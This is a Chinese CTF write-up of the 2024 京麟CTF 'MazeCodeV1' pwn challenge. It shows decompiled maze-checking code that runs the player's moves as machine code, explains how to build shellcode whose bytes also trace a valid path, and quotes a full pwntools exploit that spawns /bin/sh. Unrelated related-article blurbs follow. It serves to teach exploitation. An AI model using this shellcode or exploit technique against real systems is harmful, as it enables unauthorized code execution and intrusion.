2024 京麟ctf -MazeCodeV1

文章目录

  • 检查
  • 代码
  • 思路
  • 一个字节的指令
  • 注意
  • 附上S1uM4i佬们的exp

https://www.ctfiot.com/184181.html

检查

在这里插入图片描述

代码

__int64 __fastcall check_solve(char *a1)
{
  __int64 result; // rax
  __int64 v2; // rax
  __int64 index_step; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  char *map; // [rsp+0h] [rbp-190h]
  int v8; // [rsp+Ch] [rbp-184h]
  __int64 v9[2]; // [rsp+20h] [rbp-170h] BYREF
  __int64 now_position; // [rsp+34h] [rbp-15Ch]
  int change_x; // [rsp+3Ch] [rbp-154h]
  int change_y; // [rsp+40h] [rbp-150h]
  char opcode; // [rsp+47h] [rbp-149h]
  __int64 v14; // [rsp+48h] [rbp-148h] BYREF
  __int64 v15[2]; // [rsp+50h] [rbp-140h] BYREF
  __int64 last_position; // [rsp+64h] [rbp-12Ch]
  int v17[5]; // [rsp+6Ch] [rbp-124h] BYREF
  char map_step[264]; // [rsp+80h] [rbp-110h] BYREF
  char *v19; // [rsp+188h] [rbp-8h]

  v19 = a1;
  memset(map_step, 0, 0x100uLL);
  v17[0] = 0;
  v17[1] = 0;
  v17[2] = 1;
  v17[3] = 2;
  v17[4] = 3;
  last_position = 0x100000001LL;                // 初始位置1,1
  v15[1] = (__int64)a1;
  v15[0] = std::string::begin((__int64)a1);
  v14 = std::string::end(a1);
  while ( 1 )
  {
    result = __gnu_cxx::operator!=<char *,std::string>(v15, &v14);// 判断操作是否结束
    if ( (result & 1) == 0 )
      return result;
    opcode = *(_BYTE *)__gnu_cxx::__normal_iterator<char *,std::string>::operator*(v15);// 迭代遍历操作
    if ( (unsigned __int64)v17[0] >= 0x100 )
    {
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Too Long Solution!");
      return std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
    change_y = 0;
    change_x = 0;
    switch ( opcode & 3 )
    {
      case 0:
        change_x = -1;
        break;
      case 1:
        change_y = 1;
        break;
      case 2:
        change_x = 1;
        break;
      case 3:
        change_y = -1;
        break;
      default:
        break;
    }
    HIDWORD(now_position) = change_y + HIDWORD(last_position);// 高32位表示y坐标。低32位表示x坐标
    LODWORD(now_position) = change_x + last_position;
    if ( !(unsigned int)IsInBounds(change_y + HIDWORD(last_position), change_x + (int)last_position) )
    {
      v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Out-Of-Bound Detected!");
      return std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
    }
    index_step = v17[0]++;
    map_step[index_step] = opcode;
    map = grid;
    v8 = map[(int)XYToIndex(SHIDWORD(now_position), now_position)];
    if ( v8 == '#' )
    {
      v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Wall Hit!");
      return std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
    }
    if ( v8 == 'T' )
    {
      v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Congratulations!");
      std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
      v9[0] = (__int64)map_step;
      v9[1] = (__int64)v17;
      check_solve(std::string)::$_0::operator()(v9);
    }
    else
    {
      last_position = now_position;             // 更新当前坐标
    }
    __gnu_cxx::__normal_iterator<char *,std::string>::operator++(v15);// 下一个操作
  }
}
最后达到指定位置会执行
__int64 __fastcall check_solve(std::string)::$_0::operator()(__int64 *a1)
{
  __int64 v1; // rax
  char *addr; // [rsp+8h] [rbp-38h]

  addr = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( addr != (char *)-1LL )
  {
    *(_WORD *)addr = '1H';
    addr[2] = '\xC0';
    memcpy(addr + 3, (const void *)*a1, *(int *)a1[1]);
    mprotect(addr, 0x1000uLL, 5);
    __asm { jmp     rax } 
  }
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Bad mmap()");
  return std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}

IDA中存在地图字符串,然后由于是行列为42的正方形地图,根据地图得到最后的路线,然后根据路线需要的指令得到合适的指令字节

思路

  1. 寻找合适的指令使得其构成的字节码的低三位能够满足最后到达T位置
  2. 该指令能够getshell
  3. 然后最后到达T位置会调用该指令即可getshell

这里将/bin/sh作为系统调用输入是作为指令部分不知道mmap起始地址,并且也不好绕过操作码部分。所以关键就是系统调用read和系统调用execve,想想好基本gadget然后变化符合到绕过

一个字节的指令

push pop xchg

注意

asm使用时,对应的汇编指令要有换行符号,不然连着两个指令在一行会出现问题

在这里插入图片描述
"SPL"通常指的是寄存器esp(栈指针寄存器)

在这里插入图片描述

在这里插入图片描述

附上S1uM4i佬们的exp

from pwn import *


def rep(s):
    return s.replace("2", " xchg esi,eax\n").replace("3", " xchg ebx,eax\n").replace("1", " xchg ebp, eax\n").replace("0", " nop\n")


def rep2(s):
    return s.replace("2", " push rdx\n").replace("3", " push rbx\n").replace("1", " push rcx\n").replace("0", " nop\n")


context.arch = "amd64"

sc1 = '''xchg   ecx,eax
xchg   ecx,eax
xchg   ecx,eax
xchg   ecx,eax
xchg   edx,eax
mov esp, 0x404e02 
xchg   edx,eax'''
sc2 = b'\x40\xFE\xCC\x92\x40\xFE\xCC'  #减小栈顶的值
sc3 = '''xchg   edx,eax
push rsp
pop rdx
push rsp
pop rsi
push rdx
pop rcx                                                                                      
syscall\n''' + rep('1001122112211001111221122221122222211001111221122110011000000110000110000112222222') + ' mov bx,0x6873\n' + rep('22222332211223333223322221122333322111122110011112222330') + ''' 
xchg   edx,eax  
xchg   edx,eax
xchg   edx,eax
xchg   ecx,eax
pop    rdi
pop rcx
pop rcx
push rdx
push rdx
push rdx
push   0x3b\n''' + rep('3003322') + 'pop   rax\n' + rep2('222111') + 'syscall\n xchg   ecx,eax'
# mov bx,0x6873只是满足字节码要求而已
p = process("./pwn")
#p = remote("116.198.74.135", 39659)
sc = asm(sc1) + sc2 + asm(sc3)
for i in sc:
    print(str(i&3), end="")
print()
gdb.attach(p, "b *0x401744")
pause()
# sleep(1)
p.sendline(sc)
sleep(1)
p.sendline(cyclic(999).replace(b'aaaabaaa', p64(0x404dd0)).replace(b'eaaafaaa', b'/bin/sh\x00'))
#输入的前八个字节是p64(0x404dd0),第16个字节后是b'/bin/sh\x00'  cyclic有一定规律
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/661304.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

贪心(临项交换)+01背包,蓝桥云课 搬砖

一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 0搬砖 - 蓝桥云课 (lanqiao.cn) 二、解题报告 1、思路分析 将物品按照w[i] v[i]升序排序然后跑01背包就是答案 下面证明&#xff1a;&#xff08;不要问怎么想到的&#xff0c;做题多了就能想到&#xff…

一致性hash算法原理图和负载均衡原理-urlhash与least_conn案例

一. 一致性hash算法原理图 4台服务器计算hash值图解 减少一台服务3台服务器计算hash值图解 增加一台服务器5台服务器计算hash值图解 二. 负载均衡原理-urlhash与least_conn 2.1.urlhash案例 # urlhash upstream tomcats {hash $requ

5分钟教你APP变现,让商业浪潮为你助力!

在这个数字时代&#xff0c;几乎每个人都有一个或多个应用程序&#xff08;APP&#xff09;的想法&#xff0c;它们可能是为了解决特定问题&#xff0c;提供娱乐或简化日常任务。然而&#xff0c;许多开发者面临的最大挑战之一是如何将这些创意转化为盈利的商业模式。本文将探讨…

idea+tomcat+mysql 从零开始部署Javaweb项目(保姆级别)

文章目录 新建一个项目添加web支持配置tomcat优化tomcat的部署运行tomcatidea数据库连接java连接数据库 新建一个项目 new project&#xff1b;Java&#xff1b;选择jdk的版本&#xff1b;next&#xff1b;next&#xff1b;填写项目名字&#xff0c;选择保存的路径&#xff1b;…

基于GO 写的一款 GUI 工具,M3u8视频下载播放器-飞鸟视频助手

M3u8视频下载播放器-飞鸟视频助手 M3u8视频飞鸟视频助手使用m3u8下载m3u8 本地播放 软件下载地址m3u8嗅探 M3u8视频 M3u8视频格式是为网络视频播放设计&#xff0c;视频网站多数采用 m3u8格式。如腾讯&#xff0c;爱奇艺等网站。 m3u8和 mp4的区别&#xff1a; 一个 mp4是一个…

HTTP Basic Access Authentication Schema

HTTP Basic Access Authentication Schema 背景介绍流程安全缺陷参考 背景 本文内容大多基于网上其他参考文章及资料整理后所得&#xff0c;并非原创&#xff0c;目的是为了需要时方便查看。 介绍 HTTP Basic Access Authentication Schema&#xff0c;HTTP 基本访问认证模式…

JavaScript-JavaWeb

目录 什么是JavaScript? js引入方式 js基础语法 书写语法 变量 数据据类型 运算符 类型转换 流程语句 js函数 js对象 1.Array 2.String 3.JSON js事件监听 什么是JavaScript? ● JavaScript(简称:JS)是一门跨平台、面向对象的脚本语言。是用来控制网页行为的,它能…

【busybox记录】【shell指令】readlink

目录 内容来源&#xff1a; 【GUN】【readlink】指令介绍 【busybox】【readlink】指令介绍 【linux】【readlink】指令介绍 使用示例&#xff1a; 打印符号链接或规范文件名的值 - 默认输出 打印符号链接或规范文件名的值 - 打印规范文件的全路径 打印符号链接或规范文…

英语学习笔记29——Come in, Amy!

Come in, Amy! 进来&#xff0c;艾米&#xff01; shut v. 关严 区别&#xff1a;shut the door 把门关紧 口语&#xff1a;Shut up! 闭嘴&#xff01;    态度强硬&#xff0c;不礼貌 例句&#xff1a;请不要把门关严。    Don’t shut the door, please. bedroom n. …

内存函数<C语言>

前言 前面两篇文章介绍了字符串函数&#xff0c;不过它们都只能用来处理字符串&#xff0c;C语言中也内置了一些内存函数来对不同类型的数据进行处理&#xff0c;本文将介绍&#xff1a;memcpy()使用以及模拟实现&#xff0c;memmove()使用以及模拟实现&#xff0c;memset()使用…

关于微信小程序低功耗蓝牙ECharts实时刷新(涉及自定义缓冲区)

简单的蓝牙显示&#xff08;串口手动发数据测试&#xff09; 最近搞了这方面的东西&#xff0c;是刚刚开始接触微信小程序&#xff0c;因为是刚刚开始接触蓝牙设备&#xff0c;所以这篇文章适合既不熟悉小程序&#xff0c;又不熟悉蓝牙的新手看。 项目要求是获取到蓝牙传输过来…

A 股涨停板实时数据 API 数据接口

A 股涨停板实时数据 API 数据接口 股票 / A股 / 涨停数据&#xff0c;所有A股涨停板实时数据&#xff0c;A 股涨停数据 / 实时数据。 1. 产品功能 支持所有 A 股涨停板实时数据查询&#xff1b;包含 A 股实时交易多项指标数据&#xff1b;毫秒级查询性能&#xff1b;全接口支…

继电器的选型和英应用

如何保证信号的稳定&#xff1f; 怎么消除继电器触点的电弧&#xff1f; 危害&#xff1a; 继电器的触点在动作时容易产生电弧&#xff0c;电弧具有热效应容易导致触点烧蚀粘接&#xff0c;缩短继电器的寿命&#xff0c;并且产生电弧的过程中会对外进行电磁辐射&#xff0c;…

vmware中Ubuntu虚拟机和本地电脑Win10互相ping通

初始状态 使用vmware17版本安装的Ubuntu的20版本&#xff0c;安装之后什么配置都要不懂&#xff0c;然后进行下述配置。 初始的时候是NAT&#xff0c;没动的. 设置 点击右键编辑“属性” 常规选择“启用”&#xff1a; 高级选择全部&#xff1a; 打开网络配置&#xff0c;右键属…

2024.05.29学习记录

1、css面经复习 2、代码随想录二刷 3、rosebush upload组件初步完成

用户接入和认证技术

一、用户接入和认证配置 称为网络接入控制&#xff0c;通过对接入网络的客NAC (Network Admission Control)户端和用户的认证保证网络的安全&#xff0c;是一种“端到端”的安全技术。包括802.1x认证、MAC认证与Portal认证。 二、三种认证方式简介 1、Portal认证 Portal认证通…

小短片创作-理论知识(三)

1、抗锯齿 1.相机移动的时候出现锯齿 2.当1个像素在三角形边缘的时候&#xff0c;可能取值为白色&#xff0c;也可能取值为黑色&#xff0c;表现出来就是闪烁&#xff0c;或锯齿 3.如果我们通过超采样将1个像素变成4个像素进行计算&#xff0c;得到的结果就会更准确&#x…

ssm校园疫情防控管理系统-计算机毕业设计源码30796

目 录 摘要 1 绪论 1.1目的及意义 1.2开发现状 1.3ssm框架介绍 1.3论文结构与章节安排 2 校园疫情防控管理系统系统分析 2.1 可行性分析 2.2 系统流程分析 2.2.1 数据流程 3.3.2 业务流程 2.3 系统功能分析 2.3.1 功能性分析 2.3.2 非功能性分析 2.4 系统用例分…

excel表格里怎样不删除0,又不显示0呢?

在单元格里不显示0&#xff0c;大体上有这么几种方法&#xff1a; 1.设置单元格自定义格式 选中数据区域&#xff0c;鼠标右键&#xff0c;点一下设置单元格格式&#xff0c;选中数字&#xff0c;自定义&#xff0c;在右侧的类型栏&#xff0c;设置格式&#xff1a; [0]&quo…

PV PVC

默写 1 如何将pod创建在指定的Node节点上 node亲和、pod亲和、pod反亲和: 调度策略 匹配标签 操作符 nodeAffinity 主机 In,NotIn,Exists,DoesNotExist&#xff0c;Gt&#xff0c;Lt podAffinity …